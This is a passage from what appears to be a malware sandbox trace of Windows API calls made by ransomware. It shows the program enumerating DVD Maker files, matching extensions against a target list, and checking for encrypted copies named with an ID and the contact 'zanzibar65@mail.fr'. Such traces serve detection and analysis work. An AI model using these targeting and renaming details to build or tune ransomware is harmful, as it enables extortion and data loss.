(lpString1=".ppt", lpString2=".wmv") returned -1 [0268.539] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0268.539] lstrlenW (lpString=".zip") returned 4 [0268.539] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0268.539] lstrlenW (lpString=".rar") returned 4 [0268.539] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0268.539] lstrlenW (lpString=".bz2") returned 4 [0268.539] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0268.539] lstrlenW (lpString=".7z") returned 3 [0268.539] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0268.539] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0268.539] lstrlenW (lpString=".dbf") returned 4 [0268.539] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0268.539] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0268.539] lstrlenW (lpString=".1cd") returned 4 [0268.539] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0268.539] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0268.539] lstrlenW (lpString=".jpg") returned 4 [0268.539] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0268.539] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0268.539] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0268.539] lstrlenW (lpString=".doc") returned 4 [0268.539] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0268.539] lstrlenW (lpString=".docx") returned 5 [0268.539] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0268.539] lstrlenW (lpString=".pdf") returned 4 [0268.539] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0268.540] lstrlenW (lpString=".xls") returned 4 [0268.540] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0268.540] lstrlenW (lpString=".xlsx") returned 5 [0268.540] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0268.540] lstrlenW (lpString=".ppt") returned 4 [0268.540] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0268.540] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0268.540] lstrlenW (lpString=".zip") returned 4 [0268.540] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0268.540] lstrlenW (lpString=".rar") returned 4 [0268.540] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0268.540] lstrlenW (lpString=".bz2") returned 4 [0268.540] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0268.540] lstrlenW (lpString=".7z") returned 3 [0268.540] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0268.540] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0268.540] lstrlenW (lpString=".dbf") returned 4 [0268.540] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0268.540] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0268.540] lstrlenW (lpString=".1cd") returned 4 [0268.540] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0268.540] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0268.540] lstrlenW (lpString=".jpg") returned 4 [0268.540] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0268.540] lstrcmpiW (lpString1=".png", lpString2=".html") returned 1 [0268.540] lstrlenW (lpString="btn-back-static.png") returned 19 [0268.540] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0268.753] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=3525) returned 1 [0268.753] CloseHandle (hObject=0x2fc) returned 1 [0268.753] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png")) returned 0x20 [0268.769] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0268.771] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.772] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png") returned 72 [0268.772] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png") returned 72 [0268.772] lstrlenW (lpString=".doc") returned 4 [0268.772] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0268.772] lstrlenW (lpString=".docx") returned 5 [0268.772] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0268.772] lstrlenW (lpString=".pdf") returned 4 [0268.772] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0268.772] lstrlenW (lpString=".xls") returned 4 [0268.772] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0268.772] lstrlenW (lpString=".xlsx") returned 5 [0268.772] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0268.772] lstrlenW (lpString=".ppt") returned 4 [0268.772] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0268.772] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png") returned 72 [0268.772] lstrlenW (lpString=".zip") returned 4 [0268.772] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0268.772] lstrlenW (lpString=".rar") returned 4 [0268.772] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0268.772] lstrlenW (lpString=".bz2") returned 4 [0268.772] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0268.772] lstrlenW (lpString=".7z") returned 3 [0268.772] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0268.772] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png") returned 72 [0268.772] lstrlenW (lpString=".dbf") returned 4 [0268.772] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0268.772] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png") returned 72 [0268.772] lstrlenW (lpString=".1cd") returned 4 [0268.772] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0268.772] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png") returned 72 [0268.772] lstrlenW (lpString=".jpg") returned 4 [0268.772] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0268.773] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png") returned 72 [0268.773] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png") returned 72 [0268.773] lstrlenW (lpString=".doc") returned 4 [0268.773] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0268.773] lstrlenW (lpString=".docx") returned 5 [0268.773] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0268.773] lstrlenW (lpString=".pdf") returned 4 [0268.773] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0268.773] lstrlenW (lpString=".xls") returned 4 [0268.773] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0268.773] lstrlenW (lpString=".xlsx") returned 5 [0268.773] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0268.773] lstrlenW (lpString=".ppt") returned 4 [0268.773] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0268.773] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png") returned 72 [0268.773] lstrlenW (lpString=".zip") returned 4 [0268.773] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0268.773] lstrlenW (lpString=".rar") returned 4 [0268.773] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0268.773] lstrlenW (lpString=".bz2") returned 4 [0268.773] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0268.773] lstrlenW (lpString=".7z") returned 3 [0268.773] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0268.773] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png") returned 72 [0268.773] lstrlenW (lpString=".dbf") returned 4 [0268.773] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0268.773] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png") returned 72 [0268.773] lstrlenW (lpString=".1cd") returned 4 [0268.773] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0268.773] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png") returned 72 [0268.773] lstrlenW (lpString=".jpg") returned 4 [0268.773] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0268.774] lstrcmpiW (lpString1=".png", lpString2=".html") returned 1 [0268.774] lstrlenW (lpString="Pets_btn-back-static.png") returned 24 [0268.774] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0268.775] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=1849) returned 1 [0268.775] CloseHandle (hObject=0x2fc) returned 1 [0268.775] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png")) returned 0x20 [0268.775] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0268.775] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.775] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0268.775] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0268.775] lstrlenW (lpString=".doc") returned 4 [0268.775] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0268.775] lstrlenW (lpString=".docx") returned 5 [0268.775] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0268.775] lstrlenW (lpString=".pdf") returned 4 [0268.775] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0268.775] lstrlenW (lpString=".xls") returned 4 [0268.775] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0268.775] lstrlenW (lpString=".xlsx") returned 5 [0268.775] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0268.775] lstrlenW (lpString=".ppt") returned 4 [0268.775] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0268.775] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0268.775] lstrlenW (lpString=".zip") returned 4 [0268.775] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0268.775] lstrlenW (lpString=".rar") returned 4 [0268.775] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0268.776] lstrlenW (lpString=".bz2") returned 4 [0268.776] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0268.776] lstrlenW (lpString=".7z") returned 3 [0268.776] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0268.776] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0268.776] lstrlenW (lpString=".dbf") returned 4 [0268.776] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0268.776] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0268.776] lstrlenW (lpString=".1cd") returned 4 [0268.776] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0268.776] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0268.776] lstrlenW (lpString=".jpg") returned 4 [0268.776] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0268.776] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0268.776] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0268.776] lstrlenW (lpString=".doc") returned 4 [0268.776] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0268.776] lstrlenW (lpString=".docx") returned 5 [0268.776] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0268.776] lstrlenW (lpString=".pdf") returned 4 [0268.776] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0268.776] lstrlenW (lpString=".xls") returned 4 [0268.776] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0268.777] lstrlenW (lpString=".xlsx") returned 5 [0268.777] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0268.777] lstrlenW (lpString=".ppt") returned 4 [0268.777] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0268.777] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0268.777] lstrlenW (lpString=".zip") returned 4 [0268.777] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0268.777] lstrlenW (lpString=".rar") returned 4 [0268.777] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0268.777] lstrlenW (lpString=".bz2") returned 4 [0268.777] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0268.777] lstrlenW (lpString=".7z") returned 3 [0268.777] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0268.777] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0268.777] lstrlenW (lpString=".dbf") returned 4 [0268.777] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0268.777] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0268.777] lstrlenW (lpString=".1cd") returned 4 [0268.777] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0268.777] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0268.777] lstrlenW (lpString=".jpg") returned 4 [0268.777] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0268.777] lstrcmpiW (lpString1=".png", lpString2=".html") returned 1 [0268.777] lstrlenW (lpString="Pets_btn-next-over-select.png") returned 29 [0268.777] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0268.778] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=3016) returned 1 [0268.778] CloseHandle (hObject=0x2fc) returned 1 [0268.778] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png")) returned 0x20 [0268.778] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0268.778] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.778] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0268.778] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0268.778] lstrlenW (lpString=".doc") returned 4 [0268.778] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0268.778] lstrlenW (lpString=".docx") returned 5 [0268.778] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0268.778] lstrlenW (lpString=".pdf") returned 4 [0268.778] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0268.778] lstrlenW (lpString=".xls") returned 4 [0268.778] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0268.778] lstrlenW (lpString=".xlsx") returned 5 [0268.778] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0268.779] lstrlenW (lpString=".ppt") returned 4 [0268.779] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0268.779] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0268.779] lstrlenW (lpString=".zip") returned 4 [0268.779] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0268.779] lstrlenW (lpString=".rar") returned 4 [0268.779] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0268.779] lstrlenW (lpString=".bz2") returned 4 [0268.779] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0268.779] lstrlenW (lpString=".7z") returned 3 [0268.779] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0268.779] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0268.779] lstrlenW (lpString=".dbf") returned 4 [0268.779] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0268.779] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0268.779] lstrlenW (lpString=".1cd") returned 4 [0268.779] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0268.779] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0268.779] lstrlenW (lpString=".jpg") returned 4 [0268.779] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0268.779] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0268.779] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0268.779] lstrlenW (lpString=".doc") returned 4 [0268.779] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0268.779] lstrlenW (lpString=".docx") returned 5 [0268.779] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0268.779] lstrlenW (lpString=".pdf") returned 4 [0268.779] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0268.779] lstrlenW (lpString=".xls") returned 4 [0268.779] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0268.779] lstrlenW (lpString=".xlsx") returned 5 [0268.779] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0268.779] lstrlenW (lpString=".ppt") returned 4 [0268.780] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0268.780] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0268.780] lstrlenW (lpString=".zip") returned 4 [0268.780] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0268.780] lstrlenW (lpString=".rar") returned 4 [0268.780] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0268.780] lstrlenW (lpString=".bz2") returned 4 [0268.780] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0268.780] lstrlenW (lpString=".7z") returned 3 [0268.780] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0268.780] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0268.780] lstrlenW (lpString=".dbf") returned 4 [0268.780] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0268.780] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0268.780] lstrlenW (lpString=".1cd") returned 4 [0268.780] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0268.780] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0268.780] lstrlenW (lpString=".jpg") returned 4 [0268.780] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0268.780] lstrcmpiW (lpString1=".png", lpString2=".html") returned 1 [0268.780] lstrlenW (lpString="Pets_btn-next-static.png") returned 24 [0268.780] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0268.780] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=2041) returned 1 [0268.781] CloseHandle (hObject=0x2fc) returned 1 [0268.781] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png")) returned 0x20 [0268.781] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0268.781] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.781] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0268.781] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0268.781] lstrlenW (lpString=".doc") returned 4 [0268.781] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0268.781] lstrlenW (lpString=".docx") returned 5 [0268.781] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0268.781] lstrlenW (lpString=".pdf") returned 4 [0268.781] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0268.781] lstrlenW (lpString=".xls") returned 4 [0268.781] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0268.781] lstrlenW (lpString=".xlsx") returned 5 [0268.781] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0268.781] lstrlenW (lpString=".ppt") returned 4 [0268.781] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0268.781] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0268.781] lstrlenW (lpString=".zip") returned 4 [0268.781] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0268.781] lstrlenW (lpString=".rar") returned 4 [0268.781] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0268.781] lstrlenW (lpString=".bz2") returned 4 [0268.781] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0268.781] lstrlenW (lpString=".7z") returned 3 [0268.781] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0268.781] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0268.782] lstrlenW (lpString=".dbf") returned 4 [0268.782] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0268.782] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0268.782] lstrlenW (lpString=".1cd") returned 4 [0268.782] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0268.782] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0268.782] lstrlenW (lpString=".jpg") returned 4 [0268.782] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0268.782] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0268.782] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0268.782] lstrlenW (lpString=".doc") returned 4 [0268.782] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0268.782] lstrlenW (lpString=".docx") returned 5 [0268.782] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0268.782] lstrlenW (lpString=".pdf") returned 4 [0268.782] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0268.782] lstrlenW (lpString=".xls") returned 